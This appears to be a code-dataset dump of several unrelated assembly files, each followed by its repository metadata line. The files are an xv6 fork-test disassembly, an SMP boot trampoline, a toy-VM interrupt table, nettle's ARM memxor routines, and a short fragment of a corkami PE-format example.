cmp eax,ecx
je loop2
mov ecx,eax
sub eax,ebx
inc eax
and eax,0fffffffeh
add edi,eax
dec esi
jnz loop0
mov eax,edi
cmp eax,0800h
jnb good
jmp bad
%include '..\goodbad.inc'
;%IMPORT user32.dll!MessageBoxA
;%IMPORT kernel32.dll!ExitProcess
;%IMPORTS
%include '..\..\standard_ftr.asm'
;Ange Albertini, Creative Commons BY, 2009-2010
| angea/corkami | wip/MakePE/examples/anti/int2a_loop.asm | Assembly | bsd-2-clause | 728 |
section .text
global _start
_start:
and eax, ecx
and ecx, edx
and edx, ebx
and ebx, esp
and esp, ebp
and ebp, esi
and esi, edi
| tangentforks/vanar | src-C/arch/IA32/and.asm | Assembly | bsd-3-clause | 134 |
#define IVT_ADDRESS 0x500
#define IVT_SYSCALL 0x80
.ivt_size DAT 0
; IN
; +1 Interrupt handler
; +2 Offset
; OUT
; None
:register_irq
STO Z,SP
STO Y,[Z+1] ; interrupt handler
STO C,[Z+2] ; interrupt offset
STO [IVT_ADDRESS+C],Y ; save the interrupt handler
ADD [ivt_size],1
STO SP,Z
RET
; IN
; None
; OUT
; None
:build_ivt
IAR handle_software_interrupt
PUSH IVT_SYSCALL
PUSH handle_ivt_syscall
JTR register_irq
ADD SP,2
RET
; IN
; A IA
; OUT
; None
:handle_software_interrupt
STO Y,[IVT_ADDRESS+A]
JTR Y
RETI
#define SYSCALL_WRITE_MEM 0x1
; System call is fully defined by
; register B, which defines what
; type of system call will be called
; IN
; B syscall type
; OUT
; None
:handle_ivt_syscall
IFE B,SYSCALL_WRITE_MEM
JTR syscall_write_mem
RET
; IN
; X destination address
; C value
; D count
; OUT
; None
:syscall_write_mem
PUSH D
PUSH C
PUSH X
JTR write_mem
ADD SP,3
RET | michalmalik/pvm | examples/ivt.asm | Assembly | mit | 932 |
section .data
Success NewString "Success"
Fail NewString "Fail"
section .text
RunTests:
; call clear_screen
; call test_disk_save
; call wait_key
call clear_screen
call MemoryFunctionTests
call wait_key
call clear_screen
call PrintTest
call wait_key
call clear_screen
call IntTests
call wait_key
call clear_screen
call StringFunctionTests
call wait_key
call clear_screen
ret
%include "../Test/Libraries/Math/Int.asm"
%include "../Test/Libraries/Strings/StringFunctions.asm"
%include "../Test/Libraries/Memory/MemoryFunctions.asm"
%include "../Test/Libraries/Graphics/Print.asm"
%include "../Test/Libraries/IO/KeyboardIO.asm"
%include "../Test/Libraries/IO/DiskIO.asm"
| musicman89/DND-1-in-8086-Assembly | Test/Tests.asm | Assembly | mit | 747 |
_forktest: file format elf32-i386
Disassembly of section .text:
00000000 <printf>:
#define N 1000
void
printf(int fd, char *s, ...)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
write(fd, s, strlen(s));
6: 8b 45 0c mov 0xc(%ebp),%eax
9: 89 04 24 mov %eax,(%esp)
c: e8 9d 01 00 00 call 1ae <strlen>
11: 89 44 24 08 mov %eax,0x8(%esp)
15: 8b 45 0c mov 0xc(%ebp),%eax
18: 89 44 24 04 mov %eax,0x4(%esp)
1c: 8b 45 08 mov 0x8(%ebp),%eax
1f: 89 04 24 mov %eax,(%esp)
22: e8 71 03 00 00 call 398 <write>
}
27: c9 leave
28: c3 ret
00000029 <forktest>:
void
forktest(void)
{
29: 55 push %ebp
2a: 89 e5 mov %esp,%ebp
2c: 83 ec 28 sub $0x28,%esp
int n, pid;
printf(1, "fork test\n");
2f: c7 44 24 04 30 04 00 movl $0x430,0x4(%esp)
36: 00
37: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3e: e8 bd ff ff ff call 0 <printf>
for(n=0; n<N; n++){
43: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
4a: eb 1d jmp 69 <forktest+0x40>
pid = fork();
4c: e8 1f 03 00 00 call 370 <fork>
51: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
54: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
58: 78 1a js 74 <forktest+0x4b>
break;
if(pid == 0)
5a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
5e: 75 05 jne 65 <forktest+0x3c>
exit();
60: e8 13 03 00 00 call 378 <exit>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<N; n++){
65: 83 45 f4 01 addl $0x1,-0xc(%ebp)
69: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
70: 7e da jle 4c <forktest+0x23>
72: eb 01 jmp 75 <forktest+0x4c>
pid = fork();
if(pid < 0)
break;
74: 90 nop
if(pid == 0)
exit();
}
if(n == N){
75: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
7c: 75 47 jne c5 <forktest+0x9c>
printf(1, "fork claimed to work N times!\n", N);
7e: c7 44 24 08 e8 03 00 movl $0x3e8,0x8(%esp)
85: 00
86: c7 44 24 04 3c 04 00 movl $0x43c,0x4(%esp)
8d: 00
8e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
95: e8 66 ff ff ff call 0 <printf>
exit();
9a: e8 d9 02 00 00 call 378 <exit>
}
for(; n > 0; n--){
if(wait() < 0){
9f: e8 dc 02 00 00 call 380 <wait>
a4: 85 c0 test %eax,%eax
a6: 79 19 jns c1 <forktest+0x98>
printf(1, "wait stopped early\n");
a8: c7 44 24 04 5b 04 00 movl $0x45b,0x4(%esp)
af: 00
b0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b7: e8 44 ff ff ff call 0 <printf>
exit();
bc: e8 b7 02 00 00 call 378 <exit>
if(n == N){
printf(1, "fork claimed to work N times!\n", N);
exit();
}
for(; n > 0; n--){
c1: 83 6d f4 01 subl $0x1,-0xc(%ebp)
c5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
c9: 7f d4 jg 9f <forktest+0x76>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
cb: e8 b0 02 00 00 call 380 <wait>
d0: 83 f8 ff cmp $0xffffffff,%eax
d3: 74 19 je ee <forktest+0xc5>
printf(1, "wait got too many\n");
d5: c7 44 24 04 6f 04 00 movl $0x46f,0x4(%esp)
dc: 00
dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e4: e8 17 ff ff ff call 0 <printf>
exit();
e9: e8 8a 02 00 00 call 378 <exit>
}
printf(1, "fork test OK\n");
ee: c7 44 24 04 82 04 00 movl $0x482,0x4(%esp)
f5: 00
f6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fd: e8 fe fe ff ff call 0 <printf>
}
102: c9 leave
103: c3 ret
00000104 <main>:
int
main(void)
{
104: 55 push %ebp
105: 89 e5 mov %esp,%ebp
107: 83 e4 f0 and $0xfffffff0,%esp
forktest();
10a: e8 1a ff ff ff call 29 <forktest>
exit();
10f: e8 64 02 00 00 call 378 <exit>
00000114 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
114: 55 push %ebp
115: 89 e5 mov %esp,%ebp
117: 57 push %edi
118: 53 push %ebx
asm volatile("cld; rep stosb" :
119: 8b 4d 08 mov 0x8(%ebp),%ecx
11c: 8b 55 10 mov 0x10(%ebp),%edx
11f: 8b 45 0c mov 0xc(%ebp),%eax
122: 89 cb mov %ecx,%ebx
124: 89 df mov %ebx,%edi
126: 89 d1 mov %edx,%ecx
128: fc cld
129: f3 aa rep stos %al,%es:(%edi)
12b: 89 ca mov %ecx,%edx
12d: 89 fb mov %edi,%ebx
12f: 89 5d 08 mov %ebx,0x8(%ebp)
132: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
135: 5b pop %ebx
136: 5f pop %edi
137: 5d pop %ebp
138: c3 ret
00000139 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
139: 55 push %ebp
13a: 89 e5 mov %esp,%ebp
13c: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
13f: 8b 45 08 mov 0x8(%ebp),%eax
142: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
145: 90 nop
146: 8b 45 0c mov 0xc(%ebp),%eax
149: 0f b6 10 movzbl (%eax),%edx
14c: 8b 45 08 mov 0x8(%ebp),%eax
14f: 88 10 mov %dl,(%eax)
151: 8b 45 08 mov 0x8(%ebp),%eax
154: 0f b6 00 movzbl (%eax),%eax
157: 84 c0 test %al,%al
159: 0f 95 c0 setne %al
15c: 83 45 08 01 addl $0x1,0x8(%ebp)
160: 83 45 0c 01 addl $0x1,0xc(%ebp)
164: 84 c0 test %al,%al
166: 75 de jne 146 <strcpy+0xd>
;
return os;
168: 8b 45 fc mov -0x4(%ebp),%eax
}
16b: c9 leave
16c: c3 ret
0000016d <strcmp>:
int
strcmp(const char *p, const char *q)
{
16d: 55 push %ebp
16e: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
170: eb 08 jmp 17a <strcmp+0xd>
p++, q++;
172: 83 45 08 01 addl $0x1,0x8(%ebp)
176: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
17a: 8b 45 08 mov 0x8(%ebp),%eax
17d: 0f b6 00 movzbl (%eax),%eax
180: 84 c0 test %al,%al
182: 74 10 je 194 <strcmp+0x27>
184: 8b 45 08 mov 0x8(%ebp),%eax
187: 0f b6 10 movzbl (%eax),%edx
18a: 8b 45 0c mov 0xc(%ebp),%eax
18d: 0f b6 00 movzbl (%eax),%eax
190: 38 c2 cmp %al,%dl
192: 74 de je 172 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
194: 8b 45 08 mov 0x8(%ebp),%eax
197: 0f b6 00 movzbl (%eax),%eax
19a: 0f b6 d0 movzbl %al,%edx
19d: 8b 45 0c mov 0xc(%ebp),%eax
1a0: 0f b6 00 movzbl (%eax),%eax
1a3: 0f b6 c0 movzbl %al,%eax
1a6: 89 d1 mov %edx,%ecx
1a8: 29 c1 sub %eax,%ecx
1aa: 89 c8 mov %ecx,%eax
}
1ac: 5d pop %ebp
1ad: c3 ret
000001ae <strlen>:
uint
strlen(char *s)
{
1ae: 55 push %ebp
1af: 89 e5 mov %esp,%ebp
1b1: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1b4: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1bb: eb 04 jmp 1c1 <strlen+0x13>
1bd: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1c1: 8b 45 fc mov -0x4(%ebp),%eax
1c4: 03 45 08 add 0x8(%ebp),%eax
1c7: 0f b6 00 movzbl (%eax),%eax
1ca: 84 c0 test %al,%al
1cc: 75 ef jne 1bd <strlen+0xf>
;
return n;
1ce: 8b 45 fc mov -0x4(%ebp),%eax
}
1d1: c9 leave
1d2: c3 ret
000001d3 <memset>:
void*
memset(void *dst, int c, uint n)
{
1d3: 55 push %ebp
1d4: 89 e5 mov %esp,%ebp
1d6: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1d9: 8b 45 10 mov 0x10(%ebp),%eax
1dc: 89 44 24 08 mov %eax,0x8(%esp)
1e0: 8b 45 0c mov 0xc(%ebp),%eax
1e3: 89 44 24 04 mov %eax,0x4(%esp)
1e7: 8b 45 08 mov 0x8(%ebp),%eax
1ea: 89 04 24 mov %eax,(%esp)
1ed: e8 22 ff ff ff call 114 <stosb>
return dst;
1f2: 8b 45 08 mov 0x8(%ebp),%eax
}
1f5: c9 leave
1f6: c3 ret
000001f7 <strchr>:
char*
strchr(const char *s, char c)
{
1f7: 55 push %ebp
1f8: 89 e5 mov %esp,%ebp
1fa: 83 ec 04 sub $0x4,%esp
1fd: 8b 45 0c mov 0xc(%ebp),%eax
200: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
203: eb 14 jmp 219 <strchr+0x22>
if(*s == c)
205: 8b 45 08 mov 0x8(%ebp),%eax
208: 0f b6 00 movzbl (%eax),%eax
20b: 3a 45 fc cmp -0x4(%ebp),%al
20e: 75 05 jne 215 <strchr+0x1e>
return (char*)s;
210: 8b 45 08 mov 0x8(%ebp),%eax
213: eb 13 jmp 228 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
215: 83 45 08 01 addl $0x1,0x8(%ebp)
219: 8b 45 08 mov 0x8(%ebp),%eax
21c: 0f b6 00 movzbl (%eax),%eax
21f: 84 c0 test %al,%al
221: 75 e2 jne 205 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
223: b8 00 00 00 00 mov $0x0,%eax
}
228: c9 leave
229: c3 ret
0000022a <gets>:
char*
gets(char *buf, int max)
{
22a: 55 push %ebp
22b: 89 e5 mov %esp,%ebp
22d: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
230: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
237: eb 44 jmp 27d <gets+0x53>
cc = read(0, &c, 1);
239: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
240: 00
241: 8d 45 ef lea -0x11(%ebp),%eax
244: 89 44 24 04 mov %eax,0x4(%esp)
248: c7 04 24 00 00 00 00 movl $0x0,(%esp)
24f: e8 3c 01 00 00 call 390 <read>
254: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
257: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
25b: 7e 2d jle 28a <gets+0x60>
break;
buf[i++] = c;
25d: 8b 45 f4 mov -0xc(%ebp),%eax
260: 03 45 08 add 0x8(%ebp),%eax
263: 0f b6 55 ef movzbl -0x11(%ebp),%edx
267: 88 10 mov %dl,(%eax)
269: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(c == '\n' || c == '\r')
26d: 0f b6 45 ef movzbl -0x11(%ebp),%eax
271: 3c 0a cmp $0xa,%al
273: 74 16 je 28b <gets+0x61>
275: 0f b6 45 ef movzbl -0x11(%ebp),%eax
279: 3c 0d cmp $0xd,%al
27b: 74 0e je 28b <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
27d: 8b 45 f4 mov -0xc(%ebp),%eax
280: 83 c0 01 add $0x1,%eax
283: 3b 45 0c cmp 0xc(%ebp),%eax
286: 7c b1 jl 239 <gets+0xf>
288: eb 01 jmp 28b <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
28a: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
28b: 8b 45 f4 mov -0xc(%ebp),%eax
28e: 03 45 08 add 0x8(%ebp),%eax
291: c6 00 00 movb $0x0,(%eax)
return buf;
294: 8b 45 08 mov 0x8(%ebp),%eax
}
297: c9 leave
298: c3 ret
00000299 <stat>:
int
stat(char *n, struct stat *st)
{
299: 55 push %ebp
29a: 89 e5 mov %esp,%ebp
29c: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
29f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2a6: 00
2a7: 8b 45 08 mov 0x8(%ebp),%eax
2aa: 89 04 24 mov %eax,(%esp)
2ad: e8 06 01 00 00 call 3b8 <open>
2b2: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2b5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2b9: 79 07 jns 2c2 <stat+0x29>
return -1;
2bb: b8 ff ff ff ff mov $0xffffffff,%eax
2c0: eb 23 jmp 2e5 <stat+0x4c>
r = fstat(fd, st);
2c2: 8b 45 0c mov 0xc(%ebp),%eax
2c5: 89 44 24 04 mov %eax,0x4(%esp)
2c9: 8b 45 f4 mov -0xc(%ebp),%eax
2cc: 89 04 24 mov %eax,(%esp)
2cf: e8 fc 00 00 00 call 3d0 <fstat>
2d4: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2d7: 8b 45 f4 mov -0xc(%ebp),%eax
2da: 89 04 24 mov %eax,(%esp)
2dd: e8 be 00 00 00 call 3a0 <close>
return r;
2e2: 8b 45 f0 mov -0x10(%ebp),%eax
}
2e5: c9 leave
2e6: c3 ret
000002e7 <atoi>:
int
atoi(const char *s)
{
2e7: 55 push %ebp
2e8: 89 e5 mov %esp,%ebp
2ea: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2ed: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2f4: eb 23 jmp 319 <atoi+0x32>
n = n*10 + *s++ - '0';
2f6: 8b 55 fc mov -0x4(%ebp),%edx
2f9: 89 d0 mov %edx,%eax
2fb: c1 e0 02 shl $0x2,%eax
2fe: 01 d0 add %edx,%eax
300: 01 c0 add %eax,%eax
302: 89 c2 mov %eax,%edx
304: 8b 45 08 mov 0x8(%ebp),%eax
307: 0f b6 00 movzbl (%eax),%eax
30a: 0f be c0 movsbl %al,%eax
30d: 01 d0 add %edx,%eax
30f: 83 e8 30 sub $0x30,%eax
312: 89 45 fc mov %eax,-0x4(%ebp)
315: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
319: 8b 45 08 mov 0x8(%ebp),%eax
31c: 0f b6 00 movzbl (%eax),%eax
31f: 3c 2f cmp $0x2f,%al
321: 7e 0a jle 32d <atoi+0x46>
323: 8b 45 08 mov 0x8(%ebp),%eax
326: 0f b6 00 movzbl (%eax),%eax
329: 3c 39 cmp $0x39,%al
32b: 7e c9 jle 2f6 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
32d: 8b 45 fc mov -0x4(%ebp),%eax
}
330: c9 leave
331: c3 ret
00000332 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
332: 55 push %ebp
333: 89 e5 mov %esp,%ebp
335: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
338: 8b 45 08 mov 0x8(%ebp),%eax
33b: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
33e: 8b 45 0c mov 0xc(%ebp),%eax
341: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
344: eb 13 jmp 359 <memmove+0x27>
*dst++ = *src++;
346: 8b 45 f8 mov -0x8(%ebp),%eax
349: 0f b6 10 movzbl (%eax),%edx
34c: 8b 45 fc mov -0x4(%ebp),%eax
34f: 88 10 mov %dl,(%eax)
351: 83 45 fc 01 addl $0x1,-0x4(%ebp)
355: 83 45 f8 01 addl $0x1,-0x8(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
359: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
35d: 0f 9f c0 setg %al
360: 83 6d 10 01 subl $0x1,0x10(%ebp)
364: 84 c0 test %al,%al
366: 75 de jne 346 <memmove+0x14>
*dst++ = *src++;
return vdst;
368: 8b 45 08 mov 0x8(%ebp),%eax
}
36b: c9 leave
36c: c3 ret
36d: 90 nop
36e: 90 nop
36f: 90 nop
00000370 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
370: b8 01 00 00 00 mov $0x1,%eax
375: cd 40 int $0x40
377: c3 ret
00000378 <exit>:
SYSCALL(exit)
378: b8 02 00 00 00 mov $0x2,%eax
37d: cd 40 int $0x40
37f: c3 ret
00000380 <wait>:
SYSCALL(wait)
380: b8 03 00 00 00 mov $0x3,%eax
385: cd 40 int $0x40
387: c3 ret
00000388 <pipe>:
SYSCALL(pipe)
388: b8 04 00 00 00 mov $0x4,%eax
38d: cd 40 int $0x40
38f: c3 ret
00000390 <read>:
SYSCALL(read)
390: b8 05 00 00 00 mov $0x5,%eax
395: cd 40 int $0x40
397: c3 ret
00000398 <write>:
SYSCALL(write)
398: b8 10 00 00 00 mov $0x10,%eax
39d: cd 40 int $0x40
39f: c3 ret
000003a0 <close>:
SYSCALL(close)
3a0: b8 15 00 00 00 mov $0x15,%eax
3a5: cd 40 int $0x40
3a7: c3 ret
000003a8 <kill>:
SYSCALL(kill)
3a8: b8 06 00 00 00 mov $0x6,%eax
3ad: cd 40 int $0x40
3af: c3 ret
000003b0 <exec>:
SYSCALL(exec)
3b0: b8 07 00 00 00 mov $0x7,%eax
3b5: cd 40 int $0x40
3b7: c3 ret
000003b8 <open>:
SYSCALL(open)
3b8: b8 0f 00 00 00 mov $0xf,%eax
3bd: cd 40 int $0x40
3bf: c3 ret
000003c0 <mknod>:
SYSCALL(mknod)
3c0: b8 11 00 00 00 mov $0x11,%eax
3c5: cd 40 int $0x40
3c7: c3 ret
000003c8 <unlink>:
SYSCALL(unlink)
3c8: b8 12 00 00 00 mov $0x12,%eax
3cd: cd 40 int $0x40
3cf: c3 ret
000003d0 <fstat>:
SYSCALL(fstat)
3d0: b8 08 00 00 00 mov $0x8,%eax
3d5: cd 40 int $0x40
3d7: c3 ret
000003d8 <link>:
SYSCALL(link)
3d8: b8 13 00 00 00 mov $0x13,%eax
3dd: cd 40 int $0x40
3df: c3 ret
000003e0 <mkdir>:
SYSCALL(mkdir)
3e0: b8 14 00 00 00 mov $0x14,%eax
3e5: cd 40 int $0x40
3e7: c3 ret
000003e8 <chdir>:
SYSCALL(chdir)
3e8: b8 09 00 00 00 mov $0x9,%eax
3ed: cd 40 int $0x40
3ef: c3 ret
000003f0 <dup>:
SYSCALL(dup)
3f0: b8 0a 00 00 00 mov $0xa,%eax
3f5: cd 40 int $0x40
3f7: c3 ret
000003f8 <getpid>:
SYSCALL(getpid)
3f8: b8 0b 00 00 00 mov $0xb,%eax
3fd: cd 40 int $0x40
3ff: c3 ret
00000400 <sbrk>:
SYSCALL(sbrk)
400: b8 0c 00 00 00 mov $0xc,%eax
405: cd 40 int $0x40
407: c3 ret
00000408 <sleep>:
SYSCALL(sleep)
408: b8 0d 00 00 00 mov $0xd,%eax
40d: cd 40 int $0x40
40f: c3 ret
00000410 <uptime>:
SYSCALL(uptime)
410: b8 0e 00 00 00 mov $0xe,%eax
415: cd 40 int $0x40
417: c3 ret
00000418 <wait2>:
SYSCALL(wait2)
418: b8 16 00 00 00 mov $0x16,%eax
41d: cd 40 int $0x40
41f: c3 ret
00000420 <set_prio>:
SYSCALL(set_prio)
420: b8 17 00 00 00 mov $0x17,%eax
425: cd 40 int $0x40
427: c3 ret
00000428 <yield>:
SYSCALL(yield)
428: b8 18 00 00 00 mov $0x18,%eax
42d: cd 40 int $0x40
42f: c3 ret
| MatanGilead/myxv6 | forktest.asm | Assembly | mit | 20,977 |
bits 16
org 0x1000
ap_trampoline:
cli
xor eax, eax
mov ds, ax
mov WORD [GDT_Limit], 23
mov ax, GDT_Long
mov DWORD [GDT_Base], eax
mov eax, 10100000b
mov cr4, eax
mov edx, 0x50000
mov cr3, edx
mov ecx, 0xC0000080
rdmsr
or eax, 0x00000100
wrmsr
mov ebx, cr0
or ebx, 0x80000001
mov cr0, ebx
lgdt [GDT_PTR]
jmp 0x8:ap_start_64
times 4 db 0
bits 64
ap_start_64:
cli
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
nop
mov rsp, 0xCCCCCCCCCCCCCCCC
times 6 nop
mov rax, 0xAAAAAAAAAAAAAAAA
call rax
cli
hlt
dd 0
GDT_PTR:
GDT_Limit dw 0
GDT_Base dq 0
dd 0
dw 0
GDT_Long:
dq 0
dq 0x0020980000000000
dq 0x0000900000000000
dq 0
dq 0
dq 0
| Rudster816/wnos | source/boot/trampoline.asm | Assembly | bsd-2-clause | 758 |
C -*- mode: asm; asm-comment-char: ?C; -*-
C nettle, low-level cryptographics library
C
C Copyright (C) 2013, Niels Möller
C
C The nettle library is free software; you can redistribute it and/or modify
C it under the terms of the GNU Lesser General Public License as published by
C the Free Software Foundation; either version 2.1 of the License, or (at your
C option) any later version.
C
C The nettle library is distributed in the hope that it will be useful, but
C WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
C or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
C License for more details.
C
C You should have received a copy of the GNU Lesser General Public License
C along with the nettle library; see the file COPYING.LIB. If not, write to
C the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
C MA 02111-1301, USA.
C Possible speedups:
C
C The ldm instruction can do load two registers per cycle,
C if the address is two-word aligned. Or three registers in two
C cycles, regardless of alignment.
C Register usage:
define(<DST>, <r0>)
define(<SRC>, <r1>)
define(<N>, <r2>)
define(<CNT>, <r6>)
define(<TNC>, <r12>)
.syntax unified
.file "memxor.asm"
.text
.arm
C memxor(uint8_t *dst, const uint8_t *src, size_t n)
.align 4
PROLOGUE(memxor)
cmp N, #0
beq .Lmemxor_done
cmp N, #7
bcs .Lmemxor_large
C Simple byte loop
.Lmemxor_bytes:
ldrb r3, [SRC], #+1
ldrb r12, [DST]
eor r3, r12
strb r3, [DST], #+1
subs N, #1
bne .Lmemxor_bytes
.Lmemxor_done:
bx lr
.Lmemxor_align_loop:
ldrb r3, [SRC], #+1
ldrb r12, [DST]
eor r3, r12
strb r3, [DST], #+1
sub N, #1
.Lmemxor_large:
tst DST, #3
bne .Lmemxor_align_loop
C We have at least 4 bytes left to do here.
sub N, #4
ands r3, SRC, #3
beq .Lmemxor_same
C Different alignment case.
C v original SRC
C +-------+------+
C |SRC |SRC+4 |
C +---+---+------+
C |DST |
C +-------+
C
C With little-endian, we need to do
C DST[i] ^= (SRC[i] >> CNT) ^ (SRC[i+1] << TNC)
push {r4,r5,r6}
lsl CNT, r3, #3
bic SRC, #3
rsb TNC, CNT, #32
ldr r4, [SRC], #+4
tst N, #4
itet eq
moveq r5, r4
subne N, #4
beq .Lmemxor_odd
.Lmemxor_word_loop:
ldr r5, [SRC], #+4
ldr r3, [DST]
eor r3, r3, r4, lsr CNT
eor r3, r3, r5, lsl TNC
str r3, [DST], #+4
.Lmemxor_odd:
ldr r4, [SRC], #+4
ldr r3, [DST]
eor r3, r3, r5, lsr CNT
eor r3, r3, r4, lsl TNC
str r3, [DST], #+4
subs N, #8
bcs .Lmemxor_word_loop
adds N, #8
beq .Lmemxor_odd_done
C We have TNC/8 left-over bytes in r4, high end
lsr r4, CNT
ldr r3, [DST]
eor r3, r4
pop {r4,r5,r6}
C Store bytes, one by one.
.Lmemxor_leftover:
strb r3, [DST], #+1
subs N, #1
beq .Lmemxor_done
subs TNC, #8
lsr r3, #8
bne .Lmemxor_leftover
b .Lmemxor_bytes
.Lmemxor_odd_done:
pop {r4,r5,r6}
bx lr
.Lmemxor_same:
push {r4,r5,r6,r7,r8,r10,r11,r14} C lr is the link register
subs N, #8
bcc .Lmemxor_same_end
ldmia SRC!, {r3, r4, r5}
C Keep address for loads in r14
mov r14, DST
ldmia r14!, {r6, r7, r8}
subs N, #12
eor r10, r3, r6
eor r11, r4, r7
eor r12, r5, r8
bcc .Lmemxor_same_final_store
subs N, #12
ldmia r14!, {r6, r7, r8}
bcc .Lmemxor_same_wind_down
C 6 cycles per iteration, 0.50 cycles/byte. For this speed,
C loop starts at offset 0x11c in the object file.
.Lmemxor_same_loop:
C r10-r12 contains values to be stored at DST
C r6-r8 contains values read from r14, in advance
ldmia SRC!, {r3, r4, r5}
subs N, #12
stmia DST!, {r10, r11, r12}
eor r10, r3, r6
eor r11, r4, r7
eor r12, r5, r8
ldmia r14!, {r6, r7, r8}
bcs .Lmemxor_same_loop
.Lmemxor_same_wind_down:
C Wind down code
ldmia SRC!, {r3, r4, r5}
stmia DST!, {r10, r11, r12}
eor r10, r3, r6
eor r11, r4, r7
eor r12, r5, r8
.Lmemxor_same_final_store:
stmia DST!, {r10, r11, r12}
.Lmemxor_same_end:
C We have 0-11 bytes left to do, and N holds number of bytes -12.
adds N, #4
bcc .Lmemxor_same_lt_8
C Do 8 bytes more, leftover is in N
ldmia SRC!, {r3, r4}
ldmia DST, {r6, r7}
eor r3, r6
eor r4, r7
stmia DST!, {r3, r4}
pop {r4,r5,r6,r7,r8,r10,r11,r14}
beq .Lmemxor_done
b .Lmemxor_bytes
.Lmemxor_same_lt_8:
pop {r4,r5,r6,r7,r8,r10,r11,r14}
adds N, #4
bcc .Lmemxor_same_lt_4
ldr r3, [SRC], #+4
ldr r12, [DST]
eor r3, r12
str r3, [DST], #+4
beq .Lmemxor_done
b .Lmemxor_bytes
.Lmemxor_same_lt_4:
adds N, #4
beq .Lmemxor_done
b .Lmemxor_bytes
EPILOGUE(memxor)
define(<DST>, <r0>)
define(<AP>, <r1>)
define(<BP>, <r2>)
define(<N>, <r3>)
undefine(<CNT>)
undefine(<TNC>)
C Temporaries r4-r7
define(<ACNT>, <r8>)
define(<ATNC>, <r10>)
define(<BCNT>, <r11>)
define(<BTNC>, <r12>)
C memxor3(uint8_t *dst, const uint8_t *a, const uint8_t *b, size_t n)
.align 2
PROLOGUE(memxor3)
cmp N, #0
beq .Lmemxor3_ret
push {r4,r5,r6,r7,r8,r10,r11}
cmp N, #7
add AP, N
add BP, N
add DST, N
bcs .Lmemxor3_large
C Simple byte loop
.Lmemxor3_bytes:
ldrb r4, [AP, #-1]!
ldrb r5, [BP, #-1]!
eor r4, r5
strb r4, [DST, #-1]!
subs N, #1
bne .Lmemxor3_bytes
.Lmemxor3_done:
pop {r4,r5,r6,r7,r8,r10,r11}
.Lmemxor3_ret:
bx lr
.Lmemxor3_align_loop:
ldrb r4, [AP, #-1]!
ldrb r5, [BP, #-1]!
eor r5, r4
strb r5, [DST, #-1]!
sub N, #1
.Lmemxor3_large:
tst DST, #3
bne .Lmemxor3_align_loop
C We have at least 4 bytes left to do here.
sub N, #4
ands ACNT, AP, #3
lsl ACNT, #3
beq .Lmemxor3_a_aligned
ands BCNT, BP, #3
lsl BCNT, #3
bne .Lmemxor3_uu
C Swap
mov r4, AP
mov AP, BP
